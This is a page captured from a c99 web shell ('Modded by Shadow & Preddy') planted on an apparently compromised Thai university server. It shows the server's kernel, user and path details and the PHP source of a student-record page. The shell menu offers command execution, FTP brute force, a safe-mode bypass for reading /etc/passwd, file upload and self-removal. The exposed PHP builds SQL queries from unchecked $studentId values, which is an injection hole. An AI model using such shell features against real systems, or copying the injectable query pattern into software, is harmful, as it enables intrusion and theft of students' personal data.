!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/edu_depart/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu_std.php (13.55 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../includes/FunctionDB.php");
include(
"admin_menu.php");
include(
"../includes/Function.php");
ConnectDB();
$sql1 "Select * From StudentMaster  Where  studentId='$studentId' ";     
$result1 mysql_query($sql1) or die(" Error".mysql_error());
$rs mysql_fetch_array($result1);
$row mysql_fetch_array($result1);
$sql "Select * From StudentBio  Where  studentId='$studentId' ";     
$result mysql_query($sql) or die(" Error".mysql_error());
$rss mysql_fetch_array($result);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="830" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="830" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="../index.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="./StudentList.php">ข้อมูลนักศึกษา</a></font></legend>
            <form id="form1" name="form1" method="post" action="">
              <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></div>
              <table width="97%" border="0" align="center" cellpadding="0" cellspacing="0" style="border:0px solid gray">
              <tr>
                <td colspan="3" bgcolor="#EEEEEE"><div align="center"><font size="4" face="Tahoma"><strong>ประวัตินักศึกษา</strong></font></div></td>
              </tr>
              <tr>
                <td colspan="2" bgcolor="#EBEBEB"><table width="100%" border="0" cellpadding="0" cellspacing="1" bordercolor="#999999">
                    <tr bgcolor="#FFFFFF">
                      <td width="32%" bgcolor="#FBF5E3"><div align="center"><font color="#000000" size="2" face="Tahoma">รหัส</font></div></td>
                      <td width="68%" bgcolor="#FBF5E3"><strong><font color="#000000" size="2" face="Tahoma">
                        <?=$rs["studentCode"]?>
                      </font></strong></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FFFEF4"><div align="center"><font color="#000000" size="2" face="Tahoma">ชื่อ-นามสกุล (ไทย)</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#003300" size="2" face="Tahoma">
                        <?php
               $prefixId 
=  $rs[prefixId];
               
$sql3"Select * From Prefix  Where prefixId='$prefixId'";
               
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs3 mysql_fetch_array($result3);
               echo
"$rs3[prefixName]";
               
?>
                      </font><font color="#990099" size="2" face="Tahoma"><a href="./StdDetail.php?studentId=<?=$rs["studentId"]?>" title="Click to see Detail"  class="d">
                      <?=$rs["studentName"]?>
                      <?=$rs["studentSurname"]?>
                      </a></font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FBF5E3"><div align="center"><font color="#000000" size="2" face="Tahoma">ชื่อ-นามสกุล (อังกฤษ)</font></div></td>
                      <td bgcolor="#FBF5E3"><font color="#990099" size="2" face="Tahoma">&nbsp;
                        </font><font color="#990099" size="2" face="Tahoma">
                        <?=$rs["studentNameEng"]?>
                        <?=$rs["studentSurnameEng"]?>
                        </a></font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FBF5E3"><div align="center"><font color="#000000" size="2" face="Tahoma">หลักสูตร</font></div></td>
                      <td bgcolor="#FBF5E3"><font color="#003300" size="2" face="Tahoma">&nbsp;
                        </font><font color="#000000" size="2" face="Tahoma">
                        <?php
              $programId 
=  $rs[programId];
               
$sql2"Select * From  Program   Where  programId='$programId' ";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[programName]";
               
?>
                        </font><font color="#003300" size="2" face="Tahoma">                        รุ่น </font><font color="#000000" size="2" face="Tahoma">
                        <?php
              $programId 
=  $rs[programId];
               
$sql2"Select * From  Generation   Where  programId='$programId' ";
               
$result2 mysql_query($sql2) or die("Error Select".mysql_query());
               
$rs2 mysql_fetch_array($result2);
               echo
"$rs2[genNo]";
               
?>
                        </font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FFFEF4"><div align="center"><font color="#000000" size="2" face="Tahoma">อายุ</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#003366" size="2" face="Tahoma">
                        <?php //// Show Age
                             
$studentId =  $rs[studentId];
                               
$sql4"Select * From  StudentBio   Where  studentId='$studentId' ";
                               
$result4 mysql_query($sql4) or die("Error Select".mysql_query());
                               
$rs4 mysql_fetch_array($result4);        
                              
$age =  $rs4[birthDate];
                              
$year =  explode("-",$age);
                              
$year =   intval($year[0]);    
                             
$year $year 543;
                             
$currentyear date("Y");
                             
$currentyear =   intval($currentyear);          
                            
$age $currentyear $year ;
                              echo
"$age";
      
?>
                      </font><font color="#000000" size="2" face="Tahoma">ปี</font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td bgcolor="#FBF5E3"><div align="center"><font color="#000000" size="2" face="Tahoma">วันที่เข้ารับการศึกษา</font></div></td>
                      <td bgcolor="#FBF5E3"><font color="#003366" size="2" face="Tahoma">
                      <?php 
       $sday 
$rs[admitDate];
    
$yearthai explode("-",$sday);
    
$day =      intval($yearthai[2]);
    
$month =  intval($yearthai[1]);
    
$year =     intval($yearthai[0]);     
          
//////////////////
 //   $yearthai =  $day ;
  
$m getThaiSubMonth($month);
     echo
"$day"." "."$m"." "."$year";
    
?>
                      </font></td>
                    </tr>
                    <tr bgcolor="#FFFFFF">
                      <td height="18" bgcolor="#FFFEF4"><div align="center"><font color="#000000" size="2" face="Tahoma">อาจารย์ที่ปรึกษา</font></div></td>
                      <td bgcolor="#FFFEF4"><font color="#003300" size="2" face="Tahoma"> <strong>&nbsp;อ. </strong>
                        <?php
              $officerId1 
=  $rs[officerId1];
              
$sql3"Select * From  Officer  Where officerId='$officerId1'";
              
$result3 mysql_query($sql3) or die("Error Select".mysql_query());
               
$rs mysql_fetch_array($result3);
              echo
"$rs[officerName]&nbsp;$rs[officerSurname]";
               
?>
                      </font></td>
                    </tr>
                </table></td>
                <td width="22%" rowspan="3" bgcolor="#EEEEEEF"><table width="106" border="2" align="center" cellpadding="0" cellspacing="2" bordercolor="#0000FF">
                  <tr>
                    <td width="94"><div align="center">
                        <?php
        
echo"<center>";
        echo
"<img src=\"$rss[picturePath]\" width=\"110\" height=\"130\" >";
        echo
"</center>";
       
?>
                    </div></td>
                  </tr>
                </table></td>
              </tr>
              <tr>
                <td bgcolor="#FBF5E3"><div align="center"><font color="#000000" size="2" face="Tahoma">สภาพนักศึกษา</font></div></td>
                <td bgcolor="#FBF5E3"><font color="#003300" size="2" face="Tahoma">
                  <?php
              $studentStatus 
=  $rs[studentStatus] ;
              
$sql4"Select * From   SysStudentStatusDes  ";
              
$result4 mysql_query($sql4) or die("Error Select".mysql_query());
               
$rs mysql_fetch_array($result4);
              echo
"$rs[description]";
               
?>
                </font></td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEE">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td rowspan="8"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                    <tr bgcolor="#FDFBF4" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FDFBF4'">
                      <td width="6%"><div align="center"></div></td>
                      <td width="71%" ><font size="2" face="Tahoma"><a href="./StdDetail.php?studentId=<?=$rss["studentId"]?>" > ข้อมูลนักศึกษา</a></font></td>
                      <td width="23%">&nbsp;</td>
                    </tr>
                    <tr bgcolor="#FCF8EB" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FCF8EB'" >
                      <td><div align="center"></div></td>
                      <td><font size="2" face="Tahoma">ข้อมูลผู้ปกครอง</font></td>
                      <td>&nbsp;</td>
                    </tr>
                    <tr bgcolor="#FDFBF4" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FDFBF4'">
                      <td><div align="center"></div></td>
                      <td><font size="4" face="Tahoma"><font size="2" face="Tahoma">ข้อมูลทุนการศึกษา</font></font></td>
                      <td><div align="center"><font color="#003300" size="2" face="Tahoma">
                          <?php
               
//$Student_id =  $rs[Student_id];
            //   $sql_5= "Select * From std_scholarship_tb Where Student_id='$Student_id' ";
            //   $result_5 = mysql_query($sql_5) or die("Error Select".mysql_query());
            //   $CountS = mysql_num_rows($result_5);
            //   echo"$CountS";
               
?>
                      </font><font size="2" face="Tahoma">ระเบียน</font></div></td>
                    </tr>
                    <tr bgcolor="#FCF8EB" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FCF8EB'" >
                      <td><div align="center"></div></td>
                      <td><font size="2" face="Tahoma"><a href="/mis/eregis">ข้อมูลผลการเรียน</a></font></td>
                      <td><div align="center"><font color="#003300" size="2" face="Tahoma"> </font><font size="2" face="Tahoma">ระเบียน</font><font color="#003300" size="2" face="Tahoma"> </font></div></td>
                    </tr>
                    <tr bgcolor="#FDFBF4" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FDFBF4'">
                      <td><div align="center"></div></td>
                      <td><font size="4" face="Tahoma"><font size="2" face="Tahoma">ข้อมูลสุขภาพ</font></font></td>
                      <td><div align="center"><font color="#003300" size="2" face="Tahoma"> </font><font size="2" face="Tahoma">ระเบียน</font></div></td>
                    </tr>
                    <tr bgcolor="#FCF8EB" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FCF8EB'" >
                      <td><div align="center"></div></td>
                      <td align="left"><font color="#000000" size="2" face="Tahoma">ข้อมูลการลา</font></td>
                      <td bgcolor="#FCF8EB"><div align="center"><font size="2" face="Tahoma">ระเบียน</font><font color="#003300" size="2" face="Tahoma"> </font></div></td>
                    </tr>
                    <tr bgcolor="#FDFBF4" onmouseover="this.style.backgroundColor='#D8F8FA'" onmouseout="this.style.backgroundColor='#FDFBF4'">
                      <td><div align="center"></div></td>
                      <td><font color="#000000" size="2" face="Tahoma">ข้อมูลพฤติกรรม 
                        และ วินัย นักศึกษา</font></td>
                      <td><div align="center"><font size="2" face="Tahoma">ระเบียน</font></div></td>
                    </tr>
                </table></td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td width="25%" bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEE">&nbsp;</td>
                <td bgcolor="#EEEEEEF">&nbsp;</td>
              </tr>
              <tr>
                <td colspan="3" bgcolor="#EEEEEE">&nbsp;</td>
              </tr>
            </table>
          </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--